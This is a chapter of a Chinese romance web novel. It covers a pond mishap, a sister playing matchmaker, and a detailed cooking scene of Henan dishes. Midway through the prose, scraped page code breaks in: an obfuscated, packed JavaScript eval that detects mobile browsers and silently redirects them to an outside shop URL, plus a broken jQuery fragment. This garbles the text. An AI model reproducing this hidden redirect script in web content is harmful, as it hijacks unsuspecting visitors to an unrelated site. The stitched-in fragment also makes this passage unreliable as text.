陆时安在初创的道路上经历过许多困难与挫折,资金短缺、他人冷眼…
但他从未有像这一刻一般觉得,这辈子也就这样儿了。
他跳得又急又猛,反应不过来,手还拽着苏稔禾的胳膊,一副要把她拎起来的架势。
而苏稔禾一时间也大脑宕机。
翻下船的那一刻,她以为要出大洋相了。
而在她翻下船,却发现水根本不会淹没她时,她下意识想把头埋到地里去。
甫一低头,却又看到了胳膊上骨节分明的大手。
还有身侧的男人。
回家吧孩子,回家吧。
她缓缓闭上了眼睛。
而此时最目瞪口呆的,当属船上的陆芷饴。
她是最先反应过来要拉住苏稔禾的人,可手还没拉到苏稔禾,就见与自己几乎首尾相接的小船上,自家一向淡定从容的哥哥猛地站起来,如同捕猎的美洲豹一般敏捷又迅猛地窜出,以船为基点进行了一个完美的立定跳远,溅起一大片水花,一把攥住了自家闺蜜。
两人都十分狼狈,衣服泥泞不堪,泥水溅在脸上,留下泪痕一样的痕迹,看起来十分凄惨。
不合时宜地,陆芷饴想起了自己间歇性勤奋时在成语APP上学到的一个词:牛衣对泣。
都这个时候了,他竟然还能回忆起这个词的意思——贫贱夫妻在困苦中相对哭泣。
补兑。
夫妻?
她觉得自己真相了,自家哥哥见义勇为的迷惑行为好像有了最完美的解释。
她果然没猜错,陆时安就是贼心不死!
但如果自己的闺蜜变成了自己的嫂子…
真香啊。
陆芷饴脑子里百转千回,此情此景,她意识到一个严峻的问题。
这个插曲的发生,意味着今天的游览计划黄了。
但她要是再不做点什么结束这天怒人怨的一幕,他哥哥和闺蜜嫂也要黄了。
为了闺蜜能变成家人,为了哥哥的终生幸福,她陆芷饴,到了发挥作用的时候了!
她陆芷饴心一横,眼一闭,利索起身,哗啦一下也跳进水塘。
她在心里默念,不尴尬,不尴尬,想象自己是《老友记》的菲比就不尴尬了。
她艰难地来到闺蜜身边,一边帮她擦去脸上的水渍,一边以身体做掩饰拽下哥哥的手。
“哎哟真是对不起啊亲爱的,刚才我也想站起来,没想到把船弄失衡了?”
“你没事吧?有没有伤到?”
“谢谢你啊陆先生,要不是你帮忙,禾宝猜踩到塘泥滑倒可就糟了。”
她扭头看向王老板:“王总方不方便换到后面那艘船?我们三个身上都脏了,挪到一条船上合适一点。”
于是,挺着将军肚的中年王老板万分艰难地从一条船迈向另一条船,好像被传过网的排球;而陆芷饴脑中未来的相亲相爱一家人正一左一右站在她身侧,三个人相互搀扶着、一脚深一脚浅地回到了小船,悠悠向岸边驶去。
小船上,陆芷饴絮叨个不停,生怕自己停顿一秒,空气就会凝结,三人就会折寿。
“今天实在是谢谢陆先生救了禾宝,陆先生什么时候有时间?禾宝和我请你吃饭。”
“陆先生是豫城人吧?离家千里,很怀念家乡味道吧?”
陆时安不知道陆芷饴葫芦里到底卖的什么药,上周爸爸刚做的豫城大烩菜是喂了狗吗。
陆芷饴不管不顾地继续:“我们知道一家做豫菜很好吃的饭店,一起去尝尝如何?”
“但是俗话说,想吃最正宗的中原菜,与其去最热门的饭店,不如随机敲开一家中原人的门。”
“我知道一位做豫菜很好吃的大厨,就是我老板!”
“诚邀陆先生来家里吃饭,我们会做好一桌美味的豫菜招待,以示感激。”
?
苏稔禾大脑虽然已经宕机,但是作为碳基生物本能地觉得有什么地方不太对。
她觉得她得说点什么。
然而陆芷饴根本不给她开口的机会:“就这么定了!周六中午静候陆先生光临寒舍!”
是你的寒舍吗你就让他光临?
但陆芷饴海口已经夸下,目前来看也没什么能改变的了。
给前任做饭虽然尴尬,但刚刚体验过尴尬的顶峰,这件事情居然显得有点能接受了。
但苏稔禾依然很想告诉闺蜜,闺蜜间两肋插刀是应该的,但她也不能真往闺蜜肋骨里来上两刀。
陆时安其实并没有在意妹妹在说什么,苏稔禾衣服湿了,虽然是深色衣服,出于礼貌他并未直视,只低下头看小船一点点割破平静的水面。
不受控制地,目光落在右手指尖。
上面好像还有温度残存。
他手指微微蜷了蜷,目光复杂,随后握紧拳头,向远处望去,却连路过了什么景致都不甚清楚。
回程路上,两位撑船的农户好像急着要去做什么似的,船橹不约而同摇得飞快。
两队人马礼貌和王老板告别,一身狼狈地向车走去。
她们急着收拾自己,没有注意到身后的王老板。
王老板没有立马回厂房,他一脚踩地,一脚踏在船檐,慢吞吞地点燃了一支烟,面露沧桑地目送两队残兵。
助理站在他的身边,提醒他回去接合作商电话,他却不急着出发,只是悠悠地问助理:“你说他们这样子,真能帮我卖出去货吗?”
周六一大早,陆芷饴就敲响了苏稔禾的门:“禾宝!为了将功折罪,我来陪你买菜啦。”
按照这个时间点,苏稔禾早已起床,敲上两下就能开门,今天却反常,直到陆芷饴以为她还没起床而放弃敲门,才听到门内侧匆匆忙忙的拖鞋踏过地面的声音。
门一开,陆芷饴裹着干发帽,脸上带着半成品淡妆,一只眼睛只粘了一簇假睫毛,手里还拿着粘假睫毛专用的镊子。
陆芷饴先是稀奇,而后一脸揶揄:“怎么想起来化妆了?还是全妆,平时拍视频也不见你粘假睫毛。”
苏稔禾也没法解释,她能说什么呢。
难道要说她也不知道怎么回事儿,就是鬼使神差地起了大早,鬼使神差地洗了头发,鬼使神差地画了全妆,甚至还粘了个假睫毛。
两人从菜市场回来也不过九点,满载而归,食材丰富,总归已经应下这顿饭,不如做得丰富一些,就当找找灵感,出一个家庭改良版豫菜教程。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788953|210294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
反正苏稔禾是这样告诉自己的,至于她心里到底是怎么想的,谁知道呢。
两人回到家就开干,配合默契,陆芷饴洗菜擦丝,苏稔禾切菜掌勺。
菜单在去菜市场的路上就已列好,准确来说,是陆芷饴这个豫城本地人报菜名,然后一脸不可说地听苏稔禾貌似巧合地定下哥哥爱吃的菜。
苏稔禾做过的豫菜并不多,她也是抱着探索的态度,保险起见先从难度最低的蒸菜开始。
翠绿鲜嫩的茼蒿洗净,晾干大颗水珠后切长段,胡萝卜、土豆擦成不粗不细的丝,加入少量食用油拌匀,锁住水分。
鲜绿色的茼蒿、红色的胡萝卜、淡黄色的土豆,被苏稔禾称为经典的红绿灯配色,鲜艳却不刺眼,蔬菜形态各异,融合得却极为和谐。
蔬菜处理完毕,苏稔禾轻轻分批抖入小麦淀粉,而后轻轻翻拌,使得蔬菜表层均匀地挂上薄薄的淀粉,鲜艳的配色好像蒙上一层白霜,让陆芷饴想起《甄嬛传》中冬天御花园嬛嬛披风下飞出的冒雪的蝴蝶。
为了视觉效果更丰富,苏稔禾选择将三种蔬菜混在一起进蒸锅,
水已经烧好,她将笼布放进蒸锅,准备铺上蒸菜。
仗着自己做饭是熟手,她偷了懒,放食材时没有关火,手方一接近蒸锅,猝不及防被水蒸气烫了手。
她轻呼一声,飞快撤离,还坚持着用左手将菜放回桌子,才原地起跳,边甩手边呼痛。
陆芷饴听到动静,忙将她拉到水池边冲水,但因为手离水蒸气太近,冲了15分钟仍微微泛红。
陆芷饴有些心疼,和她商量:“要不改天再说,先好好休息一下,手疼着做饭也不舒服。”
苏稔禾却并不在意:“没事,手上的痕迹也算是厨子的徽章,你见哪位资深大厨的手是绝对光滑细嫩的。”
陆芷饴拗不过她,只能抢着做废手的工作。
鲤鱼切牡丹花刀,热锅凉油将两面煎至定型,而后留底油炒出酱香的料汁,加鱼炖煮。
五花肉煸炒出油,加入葱姜蒜和干辣椒后淋老抽上色,分批将白嫩的白菜帮和白菜叶加入酱色料汁,断生后加入调料入味,最后加入红薯粉条、木耳、豆泡等配菜,用料丰富,口味不想弄,却热乎乎地吃着畅快。
做菜进入尾声,苏稔禾顺手切了青红辣椒,搭配木耳和西红柿,颠勺炒出一盘烧茄子。
她不由惊叹,豫菜听起来好做,却并不省工夫。
它们看似不如江南菜精致,颜色搭配却让人食欲大开,口感上爽脆与软烂都有,风味上也是极其丰富。
做菜的时间把握得刚刚好,最后一道烧茄子刚出锅,门铃声就响起,而前面做好的菜都还热乎乎的,口感保留得很完美。
而端个菜的功夫,再抬起头,苏稔禾就看到自家的亲闺蜜不知道什么时候穿上了防晒衣,手里还提着包,偷偷溜到了门口。
见自己被逮了现行,陆芷饴急匆匆地如同说rap般留下一串留言:“禾宝我突然想起我早上洗衣服忘记倒洗衣液了我要回家洗衣服你俩自己吃吧。”
而后迅速拉开门,如同瓜田里的猹一般从门口保持着按门铃动作的陆时安胳膊下钻过,扬长而去,徒留二人面面相觑。